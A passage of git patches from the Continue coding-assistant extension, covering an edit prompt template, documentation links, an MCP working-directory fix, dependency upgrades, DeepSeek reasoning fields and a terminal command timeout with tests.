a/core/llm/templates/edit/gpt.ts b/core/llm/templates/edit/gpt.ts index 232c9de5e..9f2ed7c6a 100644 --- a/core/llm/templates/edit/gpt.ts +++ b/core/llm/templates/edit/gpt.ts @@ -73,8 +73,31 @@ export const gptEditPrompt: PromptTemplateFunction = (history, otherData) => { }; export const defaultApplyPrompt: PromptTemplateFunction = ( - history, + _history, otherData, ) => { - return `${otherData.original_code}\n\nThe following code was suggested as an edit:\n\`\`\`\n${otherData.new_code}\n\`\`\`\nPlease apply it to the previous code. Leave existing comments in place unless changes require modifying them.`; + return [ + { + role: "user", + content: dedent` + ORIGINAL CODE: + \`\`\` + ${otherData.original_code} + \`\`\` + + SUGGESTED EDIT: + \`\`\` + ${otherData.new_code} + \`\`\` + + Apply the SUGGESTED EDIT to the ORIGINAL CODE. Output the complete modified file. + - Output ONLY code. Do NOT explain, summarize, or describe changes. + - Leave existing comments in place unless changes require modifying them. + - Preserve all unchanged code exactly as-is.`, + }, + { + role: "assistant", + content: `\`\`\`\n`, + }, + ]; }; From 948f0ebea79ad3d2b978e070d9f8904529f16d6d Mon Sep 17 00:00:00 2001 From: Siew's Capital Jarvis Date: Sat, 21 Mar 2026 07:43:32 +0800 Subject: [PATCH 28/66] Fix stale Models docs links in config panel (#11136) * Fix ModelsSection docs links for ide-extensions routes * test: remove ModelsSection test to avoid duplicate truth --- .../pages/config/sections/ModelsSection.tsx | 28 +++++++++++++++---- 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/gui/src/pages/config/sections/ModelsSection.tsx b/gui/src/pages/config/sections/ModelsSection.tsx index 316f463a8..1ab9b5758 100644 --- a/gui/src/pages/config/sections/ModelsSection.tsx +++ b/gui/src/pages/config/sections/ModelsSection.tsx @@ -14,6 +14,22 @@ import { getMetaKeyLabel, isJetBrains } from "../../../util"; import { ConfigHeader } from "../components/ConfigHeader"; import { ModelRoleRow } from "../components/ModelRoleRow"; +const MODEL_DOCS_URLS = { + chat: { + learnMore: "https://docs.continue.dev/ide-extensions/chat/quick-start", + setup: "https://docs.continue.dev/ide-extensions/chat/model-setup", + }, + autocomplete: { + learnMore: + "https://docs.continue.dev/ide-extensions/autocomplete/quick-start", + setup: "https://docs.continue.dev/ide-extensions/autocomplete/model-setup", + }, + edit: { + learnMore: "https://docs.continue.dev/ide-extensions/edit/quick-start", + setup: "https://docs.continue.dev/ide-extensions/edit/model-setup", + }, +} as const; + export function ModelsSection() { const { selectedProfile } = useAuth(); const dispatch = useAppDispatch(); @@ -83,7 +99,7 @@ export function ModelsSection() { Used in Chat, Plan, Agent mode (
handleRoleUpdate("chat", model)} onConfigure={handleConfigureModel} - setupURL="https://docs.continue.dev/chat/model-setup" + setupURL={MODEL_DOCS_URLS.chat.setup} /> @@ -109,7 +125,7 @@ export function ModelsSection() { Used in inline code completions as you type ( handleRoleUpdate("autocomplete", model)} onConfigure={handleConfigureModel} - setupURL="https://docs.continue.dev/autocomplete/model-setup" + setupURL={MODEL_DOCS_URLS.autocomplete.setup} /> {/* Jetbrains has a model selector inline */} @@ -142,7 +158,7 @@ export function ModelsSection() { Used to transform a selected section of code ( handleRoleUpdate("edit", model)} onConfigure={handleConfigureModel} - setupURL="https://docs.continue.dev/edit/model-setup" + setupURL={MODEL_DOCS_URLS.edit.setup} /> )} From 5ddd0d37a1c755c5cd8cd77fd18dc15dd520c81a Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Fri, 20 Mar 2026 18:12:29 -0600 Subject: [PATCH 29/66] fix: skip remote URIs when resolving MCP server cwd (#10844) When the extension runs in the Local Extension Host on Windows while connected to a remote workspace (SSH, Dev Container, etc.), getWorkspaceDirs() returns vscode-remote:// URIs. These cannot be used as a cwd for child_process.spawn(), causing "spawn cmd.exe ENOENT" when starting MCP stdio servers. Fall back to the user's home directory for non-file:// URIs so the spawn has a valid local working directory. Fixes #10842 Co-authored-by: Claude Opus 4.6 --- core/context/mcp/MCPConnection.ts | 8 ++++++++ core/context/mcp/MCPConnection.vitest.ts | 11 +++++++++++ 2 files changed, 19 insertions(+) diff --git a/core/context/mcp/MCPConnection.ts b/core/context/mcp/MCPConnection.ts index f1199066f..d25e9f6a0 100644 --- a/core/context/mcp/MCPConnection.ts +++ b/core/context/mcp/MCPConnection.ts @@ -1,5 +1,6 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { Transport } from "@modelcontextprotocol/sdk/shared/transport.js"; +import { homedir } from "os"; import { fileURLToPath } from "url"; import { @@ -476,6 +477,13 @@ Org-level secrets can only be used for MCP by Background Agents (https://docs.co if (resolved.startsWith("file://")) { return fileURLToPath(resolved); } + // Remote URIs (e.g. vscode-remote://ssh-remote+host/path) cannot be + // used as a local cwd for child_process.spawn(). When the extension + // runs in the Local Extension Host on Windows while connected to a + // remote workspace, fall back to the user's home directory. + if (resolved.includes("://")) { + return homedir(); + } return resolved; } return resolved; diff --git a/core/context/mcp/MCPConnection.vitest.ts b/core/context/mcp/MCPConnection.vitest.ts index 7920a9a1d..adb4b9c54 100644 --- a/core/context/mcp/MCPConnection.vitest.ts +++ b/core/context/mcp/MCPConnection.vitest.ts @@ -175,6 +175,17 @@ describe("MCPConnection", () => { ); expect(mockResolve).toHaveBeenCalledWith("src", ide); }); + + it("should fall back to homedir for remote URIs that cannot be used as local cwd", async () => { + const ide = {} as any; + vi.spyOn(ideUtils, "resolveRelativePathInDir").mockResolvedValue( + "vscode-remote://ssh-remote+192.168.137.2/home/user/project", + ); + const conn = new MCPConnection(baseOptions, { ide }); + + const { homedir } = require("os"); + await expect((conn as any).resolveCwd("src")).resolves.toBe(homedir()); + }); }); describe("connectClient", () => { From eccde962b5468df50258c02ad223de0f26da204e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 20 Mar 2026 18:20:19 -0700 Subject: [PATCH 30/66] chore(deps): bump flatted from 3.3.2 to 3.4.2 in /core (#11668) Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.2 to 3.4.2. - [Commits](https://github.com/WebReflection/flatted/compare/v3.3.2...v3.4.2) --- updated-dependencies: - dependency-name: flatted dependency-version: 3.4.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- core/package-lock.json | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/core/package-lock.json b/core/package-lock.json index 1ce7ac4fd..ddb4aacfb 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -13158,9 +13158,10 @@ "peer": true }, "node_modules/flatted": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz", - "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==" + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", + "license": "ISC" }, "node_modules/fn.name": { "version": "1.1.0", From 4b6a09c9e78544f2b1a54a9db9fd57ed9b9bb0b1 Mon Sep 17 00:00:00 2001 From: Matt Van Horn Date: Fri, 20 Mar 2026 18:24:31 -0700 Subject: [PATCH 31/66] fix: include reasoning_content field for DeepSeek Reasoner models (#11290) * fix: include reasoning_content field for DeepSeek Reasoner models DeepSeek Reasoner API requires the reasoning_content field on every assistant message, even when no thinking message precedes it (e.g. in resumed sessions). Previously, appendReasoningFieldsIfSupported returned early when prevMessage was missing or not a thinking role, causing 400 "Missing reasoning_content field" errors. Now reasoning_content defaults to an empty string when no thinking content is available. Fixes #11285 Co-Authored-By: Claude Opus 4.6 * fix: use stripImages instead of typecast for MessageContent Replace `as string` typecasts with stripImages() which safely handles both string and MessagePart[] content types. Co-Authored-By: Claude Opus 4.6 --------- Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 --- core/llm/openaiTypeConverters.ts | 21 +++++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/core/llm/openaiTypeConverters.ts b/core/llm/openaiTypeConverters.ts index 9280a51c7..c0c6d43a1 100644 --- a/core/llm/openaiTypeConverters.ts +++ b/core/llm/openaiTypeConverters.ts @@ -36,6 +36,7 @@ import { ThinkingChatMessage, ToolCallDelta, } from ".."; +import { stripImages } from "../util/messageContent"; function appendReasoningFieldsIfSupported( msg: ChatCompletionAssistantMessageParam & { @@ -51,14 +52,25 @@ function appendReasoningFieldsIfSupported( includeReasoningContentField?: boolean; }, ) { - if (!prevMessage || prevMessage.role !== "thinking") return; - const includeReasoning = !!providerFlags?.includeReasoningField; const includeReasoningDetails = !!providerFlags?.includeReasoningDetailsField; const includeReasoningContent = !!providerFlags?.includeReasoningContentField; if (!includeReasoning && !includeReasoningDetails && !includeReasoningContent) return; + const hasThinkingContent = prevMessage && prevMessage.role === "thinking"; + + // DeepSeek Reasoner requires reasoning_content on every assistant message, + // even when no thinking message precedes it (e.g. resumed sessions). + // Default to empty string to avoid 400 "Missing reasoning_content field". + if (includeReasoningContent) { + msg.reasoning_content = hasThinkingContent + ? stripImages(prevMessage.content) + : ""; + } + + if (!hasThinkingContent) return; + const reasoningDetailsValue = prevMessage.reasoning_details || (prevMessage.signature @@ -86,10 +98,7 @@ function appendReasoningFieldsIfSupported( msg.reasoning_details = reasoningDetailsValue || []; } if (includeReasoning) { - msg.reasoning = prevMessage.content as string; - } - if (includeReasoningContent) { - msg.reasoning_content = prevMessage.content as string; + msg.reasoning = stripImages(prevMessage.content); } } From 0d7d5a74eb6ba15f1f779e5631ca4d753a082c34 Mon Sep 17 00:00:00 2001 From: Nate Sesti <33237525+sestinj@users.noreply.github.com> Date: Tue, 24 Mar 2026 10:57:28 -0700 Subject: [PATCH 32/66] [Snyk] Security upgrade @openapitools/openapi-generator-cli from 2.30.0 to 2.31.0 (#11764) fix: packages/continue-sdk/package.json & packages/continue-sdk/package-lock.json to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-JS-FILETYPE-15609896 - https://snyk.io/vuln/SNYK-JS-NESTJSCORE-15682556 Co-authored-by: snyk-bot --- packages/continue-sdk/package-lock.json | 60 ++++++++++++------------- packages/continue-sdk/package.json | 2 +- 2 files changed, 31 insertions(+), 31 deletions(-) diff --git a/packages/continue-sdk/package-lock.json b/packages/continue-sdk/package-lock.json index 0df0a31f9..782afda0b 100644 --- a/packages/continue-sdk/package-lock.json +++ b/packages/continue-sdk/package-lock.json @@ -10,7 +10,7 @@ "license": "Apache-2.0", "dependencies": { "@continuedev/config-yaml": "^1.38.0", - "@openapitools/openapi-generator-cli": "^2.30.0", + "@openapitools/openapi-generator-cli": "^2.31.0", "express": "^4.22.0", "swagger-ui-express": "^5.0.0" }, @@ -19,9 +19,9 @@ } }, "node_modules/@borewit/text-codec": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.1.tgz", - "integrity": "sha512-k7vvKPbf7J2fZ5klGRD9AeKfUvojuZIQ3BT5u7Jfv+puwXkUBUT5PVyMDfJZpy30CBDXGMgw7fguK/lpOMBvgw==", + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", + "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", "license": "MIT", "funding": { "type": "github", @@ -125,12 +125,12 @@ } }, "node_modules/@nestjs/common": { - "version": "11.1.14", - "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-11.1.14.tgz", - "integrity": "sha512-IN/tlqd7Nl9gl6f0jsWEuOrQDaCI9vHzxv0fisHysfBQzfQIkqlv5A7w4Qge02BUQyczXT9HHPgHtWHCxhjRng==", + "version": "11.1.17", + "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-11.1.17.tgz", + "integrity": "sha512-hLODw5Abp8OQgA+mUO4tHou4krKgDtUcM9j5Ihxncst9XeyxYBTt2bwZm4e4EQr5E352S4Fyy6V3iFx9ggxKAg==", "license": "MIT", "dependencies": { - "file-type": "21.3.0", + "file-type": "21.3.2", "iterare": "1.2.1", "load-esm": "1.0.3", "tslib": "2.8.1", @@ -156,9 +156,9 @@ } }, "node_modules/@nestjs/core": { - "version": "11.1.14", - "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-11.1.14.tgz", - "integrity": "sha512-7OXPPMoDr6z+5NkoQKu4hOhfjz/YYqM3bNilPqv1WVFWrzSmuNXxvhbX69YMmNmRYascPXiwESqf5jJdjKXEww==", + "version": "11.1.17", + "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-11.1.17.tgz", + "integrity": "sha512-lD5mAYekTTurF3vDaa8C2OKPnjiz4tsfxIc5XlcSUzOhkwWf6Ay3HKvt6FmvuWQam6uIIHX52Clg+e6tAvf/cg==", "hasInstallScript": true, "license": "MIT", "dependencies": { @@ -235,24 +235,24 @@ "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" }, "node_modules/@openapitools/openapi-generator-cli": { - "version": "2.30.0", - "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.30.0.tgz", - "integrity": "sha512-mdALZ7zgfCnSIYoUrKhE/TOQm8P7na+KbvUFFC4mR43YrS1ZKaN++rNRpkdsKtJEmYrxAa/HODiV5SDGHPJqWw==", + "version": "2.31.0", + "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.31.0.tgz", + "integrity": "sha512-sd+VIr5vx4PSknJLzh9thyRC8pw0r8ayCB4xH4G383BRClc3uFxIIz5EkBVndOumRsvPDip4wbszf5RRtxbmGA==", "hasInstallScript": true, "license": "Apache-2.0", "dependencies": { "@inquirer/select": "1.3.3", "@nestjs/axios": "4.0.1", - "@nestjs/common": "11.1.14", - "@nestjs/core": "11.1.14", + "@nestjs/common": "11.1.17", + "@nestjs/core": "11.1.17", "@nuxtjs/opencollective": "0.3.2", - "axios": "1.13.5", + "axios": "^1.13.6", "chalk": "4.1.2", "commander": "8.3.0", "compare-versions": "6.1.1", "concurrently": "9.2.1", "console.table": "0.10.0", - "fs-extra": "11.3.3", + "fs-extra": "11.3.4", "glob": "13.0.6", "proxy-agent": "6.5.0", "reflect-metadata": "0.2.2", @@ -409,9 +409,9 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.13.5", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.5.tgz", - "integrity": "sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", "license": "MIT", "dependencies": { "follow-redirects": "^1.15.11", @@ -1066,9 +1066,9 @@ } }, "node_modules/file-type": { - "version": "21.3.0", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.0.tgz", - "integrity": "sha512-8kPJMIGz1Yt/aPEwOsrR97ZyZaD1Iqm8PClb1nYFclUCkBi0Ma5IsYNQzvSFS9ib51lWyIw5mIT9rWzI/xjpzA==", + "version": "21.3.2", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.2.tgz", + "integrity": "sha512-DLkUvGwep3poOV2wpzbHCOnSKGk1LzyXTv+aHFgN2VFl96wnp8YA9YjO2qPzg5PuL8q/SW9Pdi6WTkYOIh995w==", "license": "MIT", "dependencies": { "@tokenizer/inflate": "^0.4.1", @@ -1166,9 +1166,9 @@ } }, "node_modules/fs-extra": { - "version": "11.3.3", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.3.tgz", - "integrity": "sha512-VWSRii4t0AFm6ixFFmLLx1t7wS1gh+ckoa84aOeapGum0h+EZd1EhEumSB+ZdDLnEPuucsVB9oB7cxJHap6Afg==", + "version": "11.3.4", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.4.tgz", + "integrity": "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA==", "license": "MIT", "dependencies": { "graceful-fs": "^4.2.0", @@ -2077,9 +2077,9 @@ } }, "node_modules/strtok3": { - "version": "10.3.4", - "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz", - "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==", + "version": "10.3.5", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.5.tgz", + "integrity": "sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==", "license": "MIT", "dependencies": { "@tokenizer/token": "^0.3.0" diff --git a/packages/continue-sdk/package.json b/packages/continue-sdk/package.json index 84c4433e1..a5178dc59 100644 --- a/packages/continue-sdk/package.json +++ b/packages/continue-sdk/package.json @@ -15,7 +15,7 @@ "license": "Apache-2.0", "dependencies": { "@continuedev/config-yaml": "^1.38.0", - "@openapitools/openapi-generator-cli": "^2.30.0", + "@openapitools/openapi-generator-cli": "^2.31.0", "express": "^4.22.0", "swagger-ui-express": "^5.0.0" }, From 5d19470aa97a8df688af527227a404c3b6f385f7 Mon Sep 17 00:00:00 2001 From: "Keita A." Date: Wed, 25 Mar 2026 03:04:28 +0900 Subject: [PATCH 33/66] fix: add default timeout for terminal command tool execution (#10550) * fix: add default timeout for terminal command tool execution Terminal commands with waitForCompletion=true had no timeout, risking indefinite hangs. Adds a 2-minute default timeout with graceful SIGTERM -> 5s grace period -> SIGKILL escalation. Both streaming and non-streaming code paths are covered. The SIGKILL timer is properly cleared if the process exits during the grace period. * fix: correct process running check and clear SIGKILL timer Replace `childProc.killed` with `exitCode === null && signalCode === null` for accurate process-state detection, and clear sigkillTimeoutId in error handlers to prevent delayed kills after rejection. Applied to both streaming and non-streaming paths. --------- Co-authored-by: amabito <192487536+amabito@users.noreply.github.com> Co-authored-by: amabito --- .../runTerminalCommand.timeout.vitest.ts | 195 ++++++++++++++++++ .../implementations/runTerminalCommand.ts | 113 ++++++++++ 2 files changed, 308 insertions(+) create mode 100644 core/tools/implementations/runTerminalCommand.timeout.vitest.ts diff --git a/core/tools/implementations/runTerminalCommand.timeout.vitest.ts b/core/tools/implementations/runTerminalCommand.timeout.vitest.ts new file mode 100644 index 000000000..cdd0101b7 --- /dev/null +++ b/core/tools/implementations/runTerminalCommand.timeout.vitest.ts @@ -0,0 +1,195 @@ +import { EventEmitter } from "node:events"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { IDE, ToolExtras } from "../.."; +import { runTerminalCommandImpl } from "./runTerminalCommand"; + +// Hoist mock function so it can be referenced in vi.mock factory +const { mockSpawn } = vi.hoisted(() => ({ + mockSpawn: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + default: { + spawn: mockSpawn, + }, + spawn: mockSpawn, +})); + +describe("runTerminalCommand timeout functionality", () => { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + let mockChildProc: any; + let mockGetIdeInfo: ReturnType; + let mockGetWorkspaceDirs: ReturnType; + let mockOnPartialOutput: ReturnType; + // eslint-disable-next-line @typescript-eslint/no-explicit-any + let setTimeoutSpy: any; + // eslint-disable-next-line @typescript-eslint/no-explicit-any + let clearTimeoutSpy: any; + + beforeEach(() => { + vi.resetAllMocks(); + vi.clearAllTimers(); + vi.useFakeTimers(); + + // Spy on setTimeout and clearTimeout + setTimeoutSpy = vi.spyOn(global, "setTimeout"); + clearTimeoutSpy = vi.spyOn(global, "clearTimeout"); + + // Create mock child process with EventEmitter behavior + mockChildProc = new EventEmitter(); + mockChildProc.stdout = new EventEmitter(); + mockChildProc.stderr = new EventEmitter(); + // Use exitCode/signalCode to track process state (matches Node.js ChildProcess API) + mockChildProc.exitCode = null; + mockChildProc.signalCode = null; + mockChildProc.killed = false; + mockChildProc.kill = vi.fn((signal?: NodeJS.Signals) => { + mockChildProc.killed = true; + setTimeout(() => { + mockChildProc.exitCode = signal === "SIGKILL" ? 137 : 143; + mockChildProc.signalCode = signal ?? null; + mockChildProc.emit("close", mockChildProc.exitCode); + }, 100); + return true; + }); + + mockSpawn.mockReturnValue(mockChildProc); + + mockGetIdeInfo = vi.fn().mockResolvedValue({ remoteName: "local" }); + mockGetWorkspaceDirs = vi + .fn() + .mockResolvedValue(["file:///tmp/test-workspace"]); + mockOnPartialOutput = vi.fn(); + }); + + afterEach(() => { + vi.restoreAllMocks(); + vi.useRealTimers(); + }); + + const createMockExtras = ( + overrides: Partial = {}, + ): ToolExtras => { + const mockIde = { + getIdeInfo: mockGetIdeInfo, + getWorkspaceDirs: mockGetWorkspaceDirs, + getIdeSettings: vi.fn(), + getDiff: vi.fn(), + readFile: vi.fn(), + readRangeInFile: vi.fn(), + isTelemetryEnabled: vi.fn(), + getProblems: vi.fn(), + subprocess: vi.fn(), + getWorkspaceConfigs: vi.fn(), + showToast: vi.fn(), + listWorkspaceContents: vi.fn(), + getTerminalContents: vi.fn(), + listFolders: vi.fn(), + getSessionId: vi.fn(), + runCommand: vi.fn(), + showLines: vi.fn(), + saveFile: vi.fn(), + getBranch: vi.fn(), + showDiff: vi.fn(), + getOpenFiles: vi.fn(), + showVirtualFile: vi.fn(), + openFile: vi.fn(), + getRepo: vi.fn(), + pathSep: vi.fn(), + fileExists: vi.fn(), + } as unknown as IDE; + + return { + ide: mockIde, + llm: {} as any, + fetch: vi.fn() as any, + tool: {} as any, + config: {} as any, + onPartialOutput: mockOnPartialOutput, + toolCallId: "test-tool-call-id", + ...overrides, + }; + }; + + it("should set up timeout when waitForCompletion is true", async () => { + const extras = createMockExtras(); + const args = { command: "echo test", waitForCompletion: true }; + const resultPromise = runTerminalCommandImpl(args, extras); + await vi.runOnlyPendingTimersAsync(); + expect(setTimeoutSpy).toHaveBeenCalledWith(expect.any(Function), 120_000); + mockChildProc.exitCode = 0; + mockChildProc.emit("close", 0); + await resultPromise; + expect(clearTimeoutSpy).toHaveBeenCalled(); + }); + + it("should NOT set up timeout when waitForCompletion is false", async () => { + const extras = createMockExtras(); + const args = { command: "sleep 10", waitForCompletion: false }; + const result = await runTerminalCommandImpl(args, extras); + const timeoutCalls = setTimeoutSpy.mock.calls.filter( + (call: any[]) => call[1] === 120_000, + ); + expect(timeoutCalls.length).toBe(0); + expect(result[0].status).toContain("background"); + }); + + it("should kill process when timeout fires (streaming)", async () => { + const extras = createMockExtras(); + const args = { command: "sleep 300", waitForCompletion: true }; + const resultPromise = runTerminalCommandImpl(args, extras); + await vi.runOnlyPendingTimersAsync(); + await vi.advanceTimersByTimeAsync(120_000); + expect(mockChildProc.kill).toHaveBeenCalledWith("SIGTERM"); + await vi.advanceTimersByTimeAsync(5_000); + await vi.runAllTimersAsync(); + const result = await resultPromise; + expect(result[0].content).toContain( + "[Timeout: process killed after 2 minutes]", + ); + }); + + it("should clear timeout on normal process exit", async () => { + const extras = createMockExtras(); + const args = { command: "echo quick", waitForCompletion: true }; + const resultPromise = runTerminalCommandImpl(args, extras); + // Flush async setup (getIdeInfo, getWorkspaceDirs) without advancing timer time + await vi.advanceTimersByTimeAsync(0); + mockChildProc.stdout.emit("data", Buffer.from("quick\n")); + mockChildProc.exitCode = 0; + mockChildProc.emit("close", 0); + await resultPromise; + expect(clearTimeoutSpy).toHaveBeenCalled(); + expect(mockChildProc.kill).not.toHaveBeenCalled(); + }); + + it("should clear SIGKILL timeout when process exits between SIGTERM and SIGKILL grace period", async () => { + const extras = createMockExtras(); + const args = { command: "sleep 300", waitForCompletion: true }; + const resultPromise = runTerminalCommandImpl(args, extras); + + // Let initial setup complete + await vi.runOnlyPendingTimersAsync(); + + // Advance to trigger main timeout (120s) — SIGTERM sent, SIGKILL timer started + await vi.advanceTimersByTimeAsync(120_000); + expect(mockChildProc.kill).toHaveBeenCalledWith("SIGTERM"); + expect(mockChildProc.kill).toHaveBeenCalledTimes(1); + + // Process exits gracefully after 2 seconds (before 5s grace period) + await vi.advanceTimersByTimeAsync(2_000); + mockChildProc.exitCode = 143; + mockChildProc.signalCode = "SIGTERM"; + mockChildProc.emit("close", 143); // SIGTERM exit code + + // Wait for promise to resolve + await resultPromise; + + // Advance past the SIGKILL grace period (3 more seconds) + await vi.advanceTimersByTimeAsync(3_000); + + // Verify SIGKILL was NOT called (timer was cleared) + expect(mockChildProc.kill).toHaveBeenCalledTimes(1); // Only SIGTERM + expect(mockChildProc.kill).not.toHaveBeenCalledWith("SIGKILL"); + }); +}); diff --git a/core/tools/implementations/runTerminalCommand.ts b/core/tools/implementations/runTerminalCommand.ts index 351ee75ca..2e8889a50 100644 --- a/core/tools/implementations/runTerminalCommand.ts +++ b/core/tools/implementations/runTerminalCommand.ts @@ -2,6 +2,10 @@ import iconv from "iconv-lite"; import childProcess from "node:child_process"; import os from "node:os"; import { ContinueError, ContinueErrorReason } from "../../util/errors"; + +// Default timeout for terminal commands (2 minutes) +const DEFAULT_TOOL_TIMEOUT_MS = 120_000; + // Automatically decode the buffer according to the platform to avoid garbled Chinese function getDecodedOutput(data: Buffer): string { if (process.platform === "win32") { @@ -133,6 +137,8 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { return new Promise((resolve, reject) => { let terminalOutput = ""; + let timeoutId: ReturnType | undefined; + let sigkillTimeoutId: ReturnType | undefined; if (!waitForCompletion) { const status = "Command is running in the background..."; @@ -168,6 +174,47 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { ); } + // Check if the child process is still running. + // `childProc.killed` only indicates that kill() was called, + // not that the process has actually exited. + const isRunning = () => + childProc.exitCode === null && childProc.signalCode === null; + + // Set up timeout for waitForCompletion mode + if (waitForCompletion) { + timeoutId = setTimeout(() => { + if (isRunning()) { + terminalOutput += + "\n[Timeout: process killed after 2 minutes]\n"; + + // Update UI with timeout message + if (extras.onPartialOutput) { + extras.onPartialOutput({ + toolCallId, + contextItems: [ + { + name: "Terminal", + description: "Terminal command output", + content: terminalOutput, + status: "Command timed out", + }, + ], + }); + } + + // Try graceful termination first + childProc.kill("SIGTERM"); + + // Force kill after 5 seconds if still running + sigkillTimeoutId = setTimeout(() => { + if (isRunning()) { + childProc.kill("SIGKILL"); + } + }, 5_000); + } + }, DEFAULT_TOOL_TIMEOUT_MS); + } + childProc.stdout?.on("data", (data) => { // Skip if this process has been backgrounded if (isProcessBackgrounded(toolCallId)) return; @@ -240,6 +287,16 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { } childProc.on("close", (code) => { + // Clear timeout on normal completion + if (timeoutId) { + clearTimeout(timeoutId); + } + + // Clear inner SIGKILL timeout if process exits before grace period + if (sigkillTimeoutId) { + clearTimeout(sigkillTimeoutId); + } + // Clean up process tracking if (toolCallId) { if (isProcessBackgrounded(toolCallId)) { @@ -296,6 +353,16 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { }); childProc.on("error", (error) => { + // Clear timeout on error + if (timeoutId) { + clearTimeout(timeoutId); + } + + // Clear SIGKILL timeout to prevent delayed kill after rejection + if (sigkillTimeoutId) { + clearTimeout(sigkillTimeoutId); + } + // Clean up process tracking if (toolCallId) { if (isProcessBackgrounded(toolCallId)) { @@ -325,6 +392,9 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { getShellCommand(command); const output = await new Promise<{ stdout: string; stderr: string }>( (resolve, reject) => { + let timeoutId: ReturnType | undefined; + let sigkillTimeoutId: ReturnType | undefined; + const childProc = childProcess.spawn( nonStreamingShell, nonStreamingArgs, @@ -342,6 +412,29 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { let stdout = ""; let stderr = ""; + // Check if the child process is still running. + // `childProc.killed` only indicates that kill() was called, + // not that the process has actually exited. + const isRunning = () => + childProc.exitCode === null && childProc.signalCode === null; + + // Set up timeout + timeoutId = setTimeout(() => { + if (isRunning()) { + stderr += "\n[Timeout: process killed after 2 minutes]\n"; + + // Try graceful termination first + childProc.kill("SIGTERM"); + + // Force kill after 5 seconds if still running + sigkillTimeoutId = setTimeout(() => { + if (isRunning()) { + childProc.kill("SIGKILL"); + } + }, 5_000); + } + }, DEFAULT_TOOL_TIMEOUT_MS); + childProc.stdout?.on("data", (data) => { stdout += getDecodedOutput(data); }); @@ -351,6 +444,16 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { }); childProc.on("close", (code) => { + // Clear outer timeout + if (timeoutId) { + clearTimeout(timeoutId); + } + + // Clear inner SIGKILL timeout if process exits before grace period + if (sigkillTimeoutId) { + clearTimeout(sigkillTimeoutId); + } + // Clean up process tracking if (toolCallId) { removeRunningProcess(toolCallId); @@ -369,6 +472,16 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { }); childProc.on("error", (error) => { + // Clear 